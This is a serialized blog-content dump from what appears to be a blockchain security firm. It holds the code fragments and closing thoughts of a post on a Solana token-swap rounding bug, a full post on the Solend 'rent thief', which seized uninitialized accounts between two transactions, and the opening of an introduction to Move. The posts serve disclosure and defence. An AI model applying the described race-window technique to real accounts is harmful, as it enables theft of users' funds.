U256",{"type":24,"tag":930,"props":7845,"children":7846},{"style":959},[7847],{"type":30,"value":5539},{"type":24,"tag":930,"props":7849,"children":7850},{"class":932,"line":993},[7851,7855,7859,7863,7867,7871],{"type":24,"tag":930,"props":7852,"children":7853},{"style":937},[7854],{"type":30,"value":7825},{"type":24,"tag":930,"props":7856,"children":7857},{"style":937},[7858],{"type":30,"value":6127},{"type":24,"tag":930,"props":7860,"children":7861},{"style":1023},[7862],{"type":30,"value":6132},{"type":24,"tag":930,"props":7864,"children":7865},{"style":1158},[7866],{"type":30,"value":6137},{"type":24,"tag":930,"props":7868,"children":7869},{"style":1023},[7870],{"type":30,"value":6142},{"type":24,"tag":930,"props":7872,"children":7873},{"style":959},[7874],{"type":30,"value":5539},{"type":24,"tag":930,"props":7876,"children":7877},{"class":932,"line":1057},[7878,7883,7887,7891,7895,7899],{"type":24,"tag":930,"props":7879,"children":7880},{"style":1079},[7881],{"type":30,"value":7882},"     for",{"type":24,"tag":930,"props":7884,"children":7885},{"style":1023},[7886],{"type":30,"value":6159},{"type":24,"tag":930,"props":7888,"children":7889},{"style":937},[7890],{"type":30,"value":6164},{"type":24,"tag":930,"props":7892,"children":7893},{"style":1242},[7894],{"type":30,"value":1245},{"type":24,"tag":930,"props":7896,"children":7897},{"style":1158},[7898],{"type":30,"value":6173},{"type":24,"tag":930,"props":7900,"children":7901},{"style":959},[7902],{"type":30,"value":6178},{"type":24,"tag":930,"props":7904,"children":7905},{"class":932,"line":1066},[7906,7910,7915,7919,7923],{"type":24,"tag":930,"props":7907,"children":7908},{"style":1158},[7909],{"type":30,"value":1215},{"type":24,"tag":930,"props":7911,"children":7912},{"style":1023},[7913],{"type":30,"value":7914},"        y_prev",{"type":24,"tag":930,"props":7916,"children":7917},{"style":1158},[7918],{"type":30,"value":6137},{"type":24,"tag":930,"props":7920,"children":7921},{"style":1023},[7922],{"type":30,"value":6132},{"type":24,"tag":930,"props":7924,"children":7925},{"style":959},[7926],{"type":30,"value":5539},{"type":24,"tag":930,"props":7928,"children":7929},{"class":932,"line":1075},[7930,7934,7939,7943,7947,7951,7955,7959,7963,7967,7971,7975,7979,7983,7987,7991,7995,7999],{"type":24,"tag":930,"props":7931,"children":7932},{"style":1158},[7933],{"type":30,"value":1215},{"type":24,"tag":930,"props":7935,"children":7936},{"style":1023},[7937],{"type":30,"value":7938},"        y",{"type":24,"tag":930,"props":7940,"children":7941},{"style":1158},[7942],{"type":30,"value":6137},{"type":24,"tag":930,"props":7944,"children":7945},{"style":959},[7946],{"type":30,"value":1087},{"type":24,"tag":930,"props":7948,"children":7949},{"style":1002},[7950],{"type":30,"value":6221},{"type":24,"tag":930,"props":7952,"children":7953},{"style":959},[7954],{"type":30,"value":1010},{"type":24,"tag":930,"props":7956,"children":7957},{"style":1158},[7958],{"type":30,"value":6230},{"type":24,"tag":930,"props":7960,"children":7961},{"style":1023},[7962],{"type":30,"value":6235},{"type":24,"tag":930,"props":7964,"children":7965},{"style":959},[7966],{"type":30,"value":962},{"type":24,"tag":930,"props":7968,"children":7969},{"style":1242},[7970],{"type":30,"value":6244},{"type":24,"tag":930,"props":7972,"children":7973},{"style":959},[7974],{"type":30,"value":6249},{"type":24,"tag":930,"props":7976,"children":7977},{"style":1158},[7978],{"type":30,"value":6254},{"type":24,"tag":930,"props":7980,"children":7981},{"style":1002},[7982],{"type":30,"value":6259},{"type":24,"tag":930,"props":7984,"children":7985},{"style":959},[7986],{"type":30,"value":1010},{"type":24,"tag":930,"props":7988,"children":7989},{"style":1023},[7990],{"type":30,"value":6268},{"type":24,"tag":930,"props":7992,"children":7993},{"style":959},[7994],{"type":30,"value":6249},{"type":24,"tag":930,"props":7996,"children":7997},{"style":1158},[7998],{"type":30,"value":5347},{"type":24,"tag":930,"props":8000,"children":8001},{"style":959},[8002],{"type":30,"value":1054},{"type":24,"tag":930,"props":8004,"children":8005},{"class":932,"line":1122},[8006,8010,8014,8019,8023,8027,8031,8035,8039,8043,8047,8051,8055,8059,8063,8067,8071,8075,8079,8083,8087,8091,8095,8099,8103],{"type":24,"tag":930,"props":8007,"children":8008},{"style":1158},[8009],{"type":30,"value":1215},{"type":24,"tag":930,"props":8011,"children":8012},{"style":1158},[8013],{"type":30,"value":6288},{"type":24,"tag":930,"props":8015,"children":8016},{"style":1002},[8017],{"type":30,"value":8018},"checked_div",{"type":24,"tag":930,"props":8020,"children":8021},{"style":959},[8022],{"type":30,"value":1010},{"type":24,"tag":930,"props":8024,"children":8025},{"style":1002},[8026],{"type":30,"value":6302},{"type":24,"tag":930,"props":8028,"children":8029},{"style":959},[8030],{"type":30,"value":1010},{"type":24,"tag":930,"props":8032,"children":8033},{"style":1158},[8034],{"type":30,"value":6230},{"type":24,"tag":930,"props":8036,"children":8037},{"style":1023},[8038],{"type":30,"value":6235},{"type":24,"tag":930,"props":8040,"children":8041},{"style":959},[8042],{"type":30,"value":962},{"type":24,"tag":930,"props":8044,"children":8045},{"style":1242},[8046],{"type":30,"value":6244},{"type":24,"tag":930,"props":8048,"children":8049},{"style":959},[8050],{"type":30,"value":6249},{"type":24,"tag":930,"props":8052,"children":8053},{"style":1158},[8054],{"type":30,"value":6254},{"type":24,"tag":930,"props":8056,"children":8057},{"style":1002},[8058],{"type":30,"value":6259},{"type":24,"tag":930,"props":8060,"children":8061},{"style":959},[8062],{"type":30,"value":1010},{"type":24,"tag":930,"props":8064,"children":8065},{"style":1023},[8066],{"type":30,"value":6343},{"type":24,"tag":930,"props":8068,"children":8069},{"style":959},[8070],{"type":30,"value":6249},{"type":24,"tag":930,"props":8072,"children":8073},{"style":1158},[8074],{"type":30,"value":6254},{"type":24,"tag":930,"props":8076,"children":8077},{"style":1002},[8078],{"type":30,"value":6356},{"type":24,"tag":930,"props":8080,"children":8081},{"style":959},[8082],{"type":30,"value":1010},{"type":24,"tag":930,"props":8084,"children":8085},{"style":1023},[8086],{"type":30,"value":6365},{"type":24,"tag":930,"props":8088,"children":8089},{"style":959},[8090],{"type":30,"value":6249},{"type":24,"tag":930,"props":8092,"children":8093},{"style":1158},[8094],{"type":30,"value":5347},{"type":24,"tag":930,"props":8096,"children":8097},{"style":959},[8098],{"type":30,"value":6249},{"type":24,"tag":930,"props":8100,"children":8101},{"style":1158},[8102],{"type":30,"value":5347},{"type":24,"tag":930,"props":8104,"children":8105},{"style":959},[8106],{"type":30,"value":5539},{"type":24,"tag":930,"props":8108,"children":8109},{"class":932,"line":1131},[8110,8114,8118,8122,8126,8130],{"type":24,"tag":930,"props":8111,"children":8112},{"style":1158},[8113],{"type":30,"value":1215},{"type":24,"tag":930,"props":8115,"children":8116},{"style":1079},[8117],{"type":30,"value":3290},{"type":24,"tag":930,"props":8119,"children":8120},{"style":1023},[8121],{"type":30,"value":6132},{"type":24,"tag":930,"props":8123,"children":8124},{"style":1158},[8125],{"type":30,"value":6402},{"type":24,"tag":930,"props":8127,"children":8128},{"style":1023},[8129],{"type":30,"value":7834},{"type":24,"tag":930,"props":8131,"children":8132},{"style":959},[8133],{"type":30,"value":981},{"type":24,"tag":930,"props":8135,"children":8136},{"class":932,"line":1144},[8137,8141,8145,8149,8153,8157,8161,8165,8169,8173,8177,8181,8185,8189,8193,8197,8201,8205,8209,8213,8217,8221,8225],{"type":24,"tag":930,"props":8138,"children":8139},{"style":1158},[8140],{"type":30,"value":1400},{"type":24,"tag":930,"props":8142,"children":8143},{"style":937},[8144],{"type":30,"value":6186},{"type":24,"tag":930,"props":8146,"children":8147},{"style":959},[8148],{"type":30,"value":1087},{"type":24,"tag":930,"props":8150,"children":8151},{"style":1023},[8152],{"type":30,"value":6195},{"type":24,"tag":930,"props":8154,"children":8155},{"style":959},[8156],{"type":30,"value":962},{"type":24,"tag":930,"props":8158,"children":8159},{"style":1023},[8160],{"type":30,"value":6204},{"type":24,"tag":930,"props":8162,"children":8163},{"style":959},[8164],{"type":30,"value":5579},{"type":24,"tag":930,"props":8166,"children":8167},{"style":1158},[8168],{"type":30,"value":1161},{"type":24,"tag":930,"props":8170,"children":8171},{"style":959},[8172],{"type":30,"value":1087},{"type":24,"tag":930,"props":8174,"children":8175},{"style":1002},[8176],{"type":30,"value":6221},{"type":24,"tag":930,"props":8178,"children":8179},{"style":959},[8180],{"type":30,"value":1010},{"type":24,"tag":930,"props":8182,"children":8183},{"style":1158},[8184],{"type":30,"value":6230},{"type":24,"tag":930,"props":8186,"children":8187},{"style":1023},[8188],{"type":30,"value":6235},{"type":24,"tag":930,"props":8190,"children":8191},{"style":959},[8192],{"type":30,"value":962},{"type":24,"tag":930,"props":8194,"children":8195},{"style":1242},[8196],{"type":30,"value":6244},{"type":24,"tag":930,"props":8198,"children":8199},{"style":959},[8200],{"type":30,"value":6249},{"type":24,"tag":930,"props":8202,"children":8203},{"style":1158},[8204],{"type":30,"value":6254},{"type":24,"tag":930,"props":8206,"children":8207},{"style":1002},[8208],{"type":30,"value":6259},{"type":24,"tag":930,"props":8210,"children":8211},{"style":959},[8212],{"type":30,"value":1010},{"type":24,"tag":930,"props":8214,"children":8215},{"style":1023},[8216],{"type":30,"value":6268},{"type":24,"tag":930,"props":8218,"children":8219},{"style":959},[8220],{"type":30,"value":6249},{"type":24,"tag":930,"props":8222,"children":8223},{"style":1158},[8224],{"type":30,"value":5347},{"type":24,"tag":930,"props":8226,"children":8227},{"style":959},[8228],{"type":30,"value":1054},{"type":24,"tag":930,"props":8230,"children":8231},{"class":932,"line":1169},[8232,8236,8240,8244,8248,8252,8256,8260,8264,8268,8272,8276,8280,8284,8288,8292,8296,8300,8304,8308,8312,8316,8320,8324,8328],{"type":24,"tag":930,"props":8233,"children":8234},{"style":1158},[8235],{"type":30,"value":1400},{"type":24,"tag":930,"props":8237,"children":8238},{"style":1158},[8239],{"type":30,"value":6288},{"type":24,"tag":930,"props":8241,"children":8242},{"style":1002},[8243],{"type":30,"value":6293},{"type":24,"tag":930,"props":8245,"children":8246},{"style":959},[8247],{"type":30,"value":1010},{"type":24,"tag":930,"props":8249,"children":8250},{"style":1002},[8251],{"type":30,"value":6302},{"type":24,"tag":930,"props":8253,"children":8254},{"style":959},[8255],{"type":30,"value":1010},{"type":24,"tag":930,"props":8257,"children":8258},{"style":1158},[8259],{"type":30,"value":6230},{"type":24,"tag":930,"props":8261,"children":8262},{"style":1023},[8263],{"type":30,"value":6235},{"type":24,"tag":930,"props":8265,"children":8266},{"style":959},[8267],{"type":30,"value":962},{"type":24,"tag":930,"props":8269,"children":8270},{"style":1242},[8271],{"type":30,"value":6244},{"type":24,"tag":930,"props":8273,"children":8274},{"style":959},[8275],{"type":30,"value":6249},{"type":24,"tag":930,"props":8277,"children":8278},{"style":1158},[8279],{"type":30,"value":6254},{"type":24,"tag":930,"props":8281,"children":8282},{"style":1002},[8283],{"type":30,"value":6259},{"type":24,"tag":930,"props":8285,"children":8286},{"style":959},[8287],{"type":30,"value":1010},{"type":24,"tag":930,"props":8289,"children":8290},{"style":1023},[8291],{"type":30,"value":6343},{"type":24,"tag":930,"props":8293,"children":8294},{"style":959},[8295],{"type":30,"value":6249},{"type":24,"tag":930,"props":8297,"children":8298},{"style":1158},[8299],{"type":30,"value":6254},{"type":24,"tag":930,"props":8301,"children":8302},{"style":1002},[8303],{"type":30,"value":6356},{"type":24,"tag":930,"props":8305,"children":8306},{"style":959},[8307],{"type":30,"value":1010},{"type":24,"tag":930,"props":8309,"children":8310},{"style":1023},[8311],{"type":30,"value":6365},{"type":24,"tag":930,"props":8313,"children":8314},{"style":959},[8315],{"type":30,"value":6249},{"type":24,"tag":930,"props":8317,"children":8318},{"style":1158},[8319],{"type":30,"value":5347},{"type":24,"tag":930,"props":8321,"children":8322},{"style":959},[8323],{"type":30,"value":6249},{"type":24,"tag":930,"props":8325,"children":8326},{"style":1158},[8327],{"type":30,"value":5347},{"type":24,"tag":930,"props":8329,"children":8330},{"style":959},[8331],{"type":30,"value":5539},{"type":24,"tag":930,"props":8333,"children":8334},{"class":932,"line":1191},[8335,8339,8343,8347,8351,8355],{"type":24,"tag":930,"props":8336,"children":8337},{"style":1158},[8338],{"type":30,"value":1400},{"type":24,"tag":930,"props":8340,"children":8341},{"style":1079},[8342],{"type":30,"value":3290},{"type":24,"tag":930,"props":8344,"children":8345},{"style":1023},[8346],{"type":30,"value":6397},{"type":24,"tag":930,"props":8348,"children":8349},{"style":1158},[8350],{"type":30,"value":6402},{"type":24,"tag":930,"props":8352,"children":8353},{"style":1023},[8354],{"type":30,"value":6132},{"type":24,"tag":930,"props":8356,"children":8357},{"style":959},[8358],{"type":30,"value":981},{"type":24,"tag":930,"props":8360,"children":8361},{"class":932,"line":1223},[8362,8367],{"type":24,"tag":930,"props":8363,"children":8364},{"style":1079},[8365],{"type":30,"value":8366},"             break",{"type":24,"tag":930,"props":8368,"children":8369},{"style":959},[8370],{"type":30,"value":5539},{"type":24,"tag":930,"props":8372,"children":8373},{"class":932,"line":1281},[8374,8378,8382,8386],{"type":24,"tag":930,"props":8375,"children":8376},{"style":1158},[8377],{"type":30,"value":1400},{"type":24,"tag":930,"props":8379,"children":8380},{"style":959},[8381],{"type":30,"value":6430},{"type":24,"tag":930,"props":8383,"children":8384},{"style":1079},[8385],{"type":30,"value":2317},{"type":24,"tag":930,"props":8387,"children":8388},{"style":959},[8389],{"type":30,"value":981},{"type":24,"tag":930,"props":8391,"children":8392},{"class":932,"line":1313},[8393,8397,8401,8405,8409],{"type":24,"tag":930,"props":8394,"children":8395},{"style":1158},[8396],{"type":30,"value":1400},{"type":24,"tag":930,"props":8398,"children":8399},{"style":1023},[8400],{"type":30,"value":6446},{"type":24,"tag":930,"props":8402,"children":8403},{"style":1158},[8404],{"type":30,"value":6137},{"type":24,"tag":930,"props":8406,"children":8407},{"style":1023},[8408],{"type":30,"value":6397},{"type":24,"tag":930,"props":8410,"children":8411},{"style":959},[8412],{"type":30,"value":5539},{"type":24,"tag":930,"props":8414,"children":8415},{"class":932,"line":1335},[8416],{"type":24,"tag":930,"props":8417,"children":8418},{"style":959},[8419],{"type":30,"value":8420},"         }\n",{"type":24,"tag":68,"props":8422,"children":8424},{"id":8423},"closing-thoughts",[8425],{"type":30,"value":8426},"Closing Thoughts",{"type":24,"tag":33,"props":8428,"children":8429},{},[8430],{"type":30,"value":8431},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":24,"tag":33,"props":8433,"children":8434},{},[8435,8437,8442],{"type":30,"value":8436},"Another interesting takeaway is that ",{"type":24,"tag":275,"props":8438,"children":8439},{},[8440],{"type":30,"value":8441},"fuzzing can give a false sense of security",{"type":30,"value":8443},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":24,"tag":33,"props":8445,"children":8446},{},[8447,8449,8456],{"type":30,"value":8448},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":24,"tag":37,"props":8450,"children":8453},{"href":8451,"rel":8452},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[41],[8454],{"type":30,"value":8455},"port-mortem of the NSS overflow",{"type":30,"value":436},{"type":24,"tag":33,"props":8458,"children":8459},{},[8460],{"type":24,"tag":140,"props":8461,"children":8463},{"alt":7,"src":8462},"/posts/spl-swap/p0.png",[],{"type":24,"tag":33,"props":8465,"children":8466},{},[8467],{"type":30,"value":8468},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":24,"tag":33,"props":8470,"children":8471},{},[8472],{"type":30,"value":8473},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":24,"tag":33,"props":8475,"children":8476},{},[8477],{"type":30,"value":8478},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":24,"tag":5957,"props":8480,"children":8481},{},[8482],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":8484},[8485,8486,8487,8488],{"id":6039,"depth":984,"text":6042},{"id":7037,"depth":984,"text":7040},{"id":7343,"depth":984,"text":7346},{"id":8423,"depth":984,"text":8426},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":8493,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8494,"description":8495,"image":8496,"date":8500,"isFeatured":16,"onBlogPage":16,"tags":8501,"body":8502,"_type":5983,"_id":8825,"_source":5985,"_file":8826,"_stem":8827,"_extension":5988},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":8497,"width":8498,"height":8499},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[6000,6001],{"type":21,"children":8503,"toc":8818},[8504,8509,8515,8520,8525,8530,8536,8549,8596,8626,8635,8640,8645,8650,8656,8669,8685,8690,8695,8710,8714,8719,8734,8741,8746,8756,8763,8767,8772,8778,8783,8788,8793,8799,8804],{"type":24,"tag":33,"props":8505,"children":8506},{},[8507],{"type":30,"value":8508},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":24,"tag":68,"props":8510,"children":8512},{"id":8511},"background",[8513],{"type":30,"value":8514},"Background",{"type":24,"tag":33,"props":8516,"children":8517},{},[8518],{"type":30,"value":8519},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":24,"tag":33,"props":8521,"children":8522},{},[8523],{"type":30,"value":8524},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":24,"tag":33,"props":8526,"children":8527},{},[8528],{"type":30,"value":8529},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":24,"tag":68,"props":8531,"children":8533},{"id":8532},"the-exploit",[8534],{"type":30,"value":8535},"The Exploit",{"type":24,"tag":33,"props":8537,"children":8538},{},[8539,8541,8547],{"type":30,"value":8540},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":24,"tag":156,"props":8542,"children":8544},{"className":8543},[],[8545],{"type":30,"value":8546},"init_reserve",{"type":30,"value":8548}," function, which creates 6 new accounts to store data about the reserve:",{"type":24,"tag":478,"props":8550,"children":8551},{},[8552,8557,8562,8567,8578,8583],{"type":24,"tag":100,"props":8553,"children":8554},{},[8555],{"type":30,"value":8556},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":24,"tag":100,"props":8558,"children":8559},{},[8560],{"type":30,"value":8561},"reserve liquidity token account - holds deposited tokens",{"type":24,"tag":100,"props":8563,"children":8564},{},[8565],{"type":30,"value":8566},"fee receiver token account - account which will receive origination fees on borrows",{"type":24,"tag":100,"props":8568,"children":8569},{},[8570,8572],{"type":30,"value":8571},"reserve collateral mint account - deposit receipt token, also known as ",{"type":24,"tag":156,"props":8573,"children":8575},{"className":8574},[],[8576],{"type":30,"value":8577},"cTokens",{"type":24,"tag":100,"props":8579,"children":8580},{},[8581],{"type":30,"value":8582},"reserve collateral token account - holds users' collateral tokens",{"type":24,"tag":100,"props":8584,"children":8585},{},[8586,8588,8594],{"type":30,"value":8587},"creator collateral token account - creator's ",{"type":24,"tag":156,"props":8589,"children":8591},{"className":8590},[],[8592],{"type":30,"value":8593},"cToken",{"type":30,"value":8595}," account",{"type":24,"tag":33,"props":8597,"children":8598},{},[8599,8601,8606,8608,8613,8614,8619,8621],{"type":30,"value":8600},"Account creation and initialization are ",{"type":24,"tag":6032,"props":8602,"children":8603},{},[8604],{"type":30,"value":8605},"usually",{"type":30,"value":8607}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":24,"tag":156,"props":8609,"children":8611},{"className":8610},[],[8612],{"type":30,"value":8546},{"type":30,"value":3678},{"type":24,"tag":6032,"props":8615,"children":8616},{},[8617],{"type":30,"value":8618},"supposed",{"type":30,"value":8620}," to look like:\n",{"type":24,"tag":140,"props":8622,"children":8625},{"src":8623,"alt":8624},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":24,"tag":33,"props":8627,"children":8628},{},[8629,8631],{"type":30,"value":8630},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":24,"tag":140,"props":8632,"children":8634},{"src":8633,"alt":8624},"/posts/rent-thief/attacktransac.png",[],{"type":24,"tag":33,"props":8636,"children":8637},{},[8638],{"type":30,"value":8639},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":24,"tag":33,"props":8641,"children":8642},{},[8643],{"type":30,"value":8644},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":24,"tag":33,"props":8646,"children":8647},{},[8648],{"type":30,"value":8649},"Despite this lost cost, this is pretty annoying...",{"type":24,"tag":68,"props":8651,"children":8653},{"id":8652},"example",[8654],{"type":30,"value":8655},"Example",{"type":24,"tag":33,"props":8657,"children":8658},{},[8659,8661,8668],{"type":30,"value":8660},"Let's take a look at ",{"type":24,"tag":37,"props":8662,"children":8665},{"href":8663,"rel":8664},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[41],[8666],{"type":30,"value":8667},"a real attack",{"type":30,"value":436},{"type":24,"tag":33,"props":8670,"children":8671},{},[8672,8679,8681],{"type":24,"tag":37,"props":8673,"children":8676},{"href":8674,"rel":8675},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[41],[8677],{"type":30,"value":8678},"Transaction 1",{"type":30,"value":8680},":\n",{"type":24,"tag":140,"props":8682,"children":8684},{"alt":7,"src":8683},"https://i.imgur.com/xJvIwgc.png",[],{"type":24,"tag":33,"props":8686,"children":8687},{},[8688],{"type":30,"value":8689},"(...more accounts truncated)",{"type":24,"tag":33,"props":8691,"children":8692},{},[8693],{"type":30,"value":8694},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":24,"tag":33,"props":8696,"children":8697},{},[8698,8705,8706],{"type":24,"tag":37,"props":8699,"children":8702},{"href":8700,"rel":8701},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[41],[8703],{"type":30,"value":8704},"Attacker's Transaction",{"type":30,"value":8680},{"type":24,"tag":140,"props":8707,"children":8709},{"alt":7,"src":8708},"https://i.imgur.com/CpSKuL3.png",[],{"type":24,"tag":33,"props":8711,"children":8712},{},[8713],{"type":30,"value":8689},{"type":24,"tag":33,"props":8715,"children":8716},{},[8717],{"type":30,"value":8718},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":24,"tag":33,"props":8720,"children":8721},{},[8722,8729,8730],{"type":24,"tag":37,"props":8723,"children":8726},{"href":8724,"rel":8725},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[41],[8727],{"type":30,"value":8728},"Transaction 2",{"type":30,"value":8680},{"type":24,"tag":140,"props":8731,"children":8733},{"alt":7,"src":8732},"https://i.imgur.com/of0GIdw.png",[],{"type":24,"tag":33,"props":8735,"children":8736},{},[8737],{"type":24,"tag":140,"props":8738,"children":8740},{"alt":7,"src":8739},"https://i.imgur.com/0STSyv8.png",[],{"type":24,"tag":33,"props":8742,"children":8743},{},[8744],{"type":30,"value":8745},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":24,"tag":33,"props":8747,"children":8748},{},[8749,8755],{"type":24,"tag":37,"props":8750,"children":8753},{"href":8751,"rel":8752},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[41],[8754],{"type":30,"value":8704},{"type":30,"value":476},{"type":24,"tag":33,"props":8757,"children":8758},{},[8759],{"type":24,"tag":140,"props":8760,"children":8762},{"alt":7,"src":8761},"https://i.imgur.com/AmSPdmy.png",[],{"type":24,"tag":33,"props":8764,"children":8765},{},[8766],{"type":30,"value":8689},{"type":24,"tag":33,"props":8768,"children":8769},{},[8770],{"type":30,"value":8771},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":24,"tag":68,"props":8773,"children":8775},{"id":8774},"impact",[8776],{"type":30,"value":8777},"Impact",{"type":24,"tag":33,"props":8779,"children":8780},{},[8781],{"type":30,"value":8782},"Rent-thieving attacks don't steal much money.",{"type":24,"tag":33,"props":8784,"children":8785},{},[8786],{"type":30,"value":8787},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":24,"tag":33,"props":8789,"children":8790},{},[8791],{"type":30,"value":8792},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":24,"tag":68,"props":8794,"children":8796},{"id":8795},"solution",[8797],{"type":30,"value":8798},"Solution",{"type":24,"tag":33,"props":8800,"children":8801},{},[8802],{"type":30,"value":8803},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":24,"tag":33,"props":8805,"children":8806},{},[8807,8809,8816],{"type":30,"value":8808},"As a more permenant solution, Solend implemented ",{"type":24,"tag":37,"props":8810,"children":8813},{"href":8811,"rel":8812},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[41],[8814],{"type":30,"value":8815},"an onchain program",{"type":30,"value":8817}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":984,"depth":984,"links":8819},[8820,8821,8822,8823,8824],{"id":8511,"depth":984,"text":8514},{"id":8532,"depth":984,"text":8535},{"id":8652,"depth":984,"text":8655},{"id":8774,"depth":984,"text":8777},{"id":8795,"depth":984,"text":8798},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":8829,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8830,"description":8831,"author":8832,"image":8833,"date":8837,"isFeatured":16,"onBlogPage":16,"body":8838,"_type":5983,"_id":12364,"_source":5985,"_file":12365,"_stem":12366,"_extension":5988},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":8834,"height":8835,"width":8836},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":21,"children":8839,"toc":12359},[8840,8845,8850,8869,8875,8887,8985,8993,9113,9121,9143,9296,9301,9558,9579,9614,9619,9639,9644,9655,9667,9879,9891,9905,9918,10175,10187,10408,10413,10441,10587,10605,10610,10874,10886,10891,10904,10910,10915,10920,10932,10946,10951,11050,11062,11075,11348,11353,11365,11370,11424,11444,11449,12328,12332,12337,12342,12355],{"type":24,"tag":33,"props":8841,"children":8842},{},[8843],{"type":30,"value":8844},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":24,"tag":33,"props":8846,"children":8847},{},[8848],{"type":30,"value":8849},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":24,"tag":33,"props":8851,"children":8852},{},[8853,8855,8860,8862,8867],{"type":30,"value":8854},"In this piece I'll seek to discuss exactly ",{"type":24,"tag":6032,"props":8856,"children":8857},{},[8858],{"type":30,"value":8859},"how",{"type":30,"value":8861}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":24,"tag":6032,"props":8863,"children":8864},{},[8865],{"type":30,"value":8866},"structurally",{"type":30,"value":8868}," safer programs.",{"type":24,"tag":68,"props":8870,"children":8872},{"id":8871},"types",[8873],{"type":30,"value":8874},"Types",{"type":24,"tag":33,"props":8876,"children":8877},{},[8878,8880,8886],{"type":30,"value":8879},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take 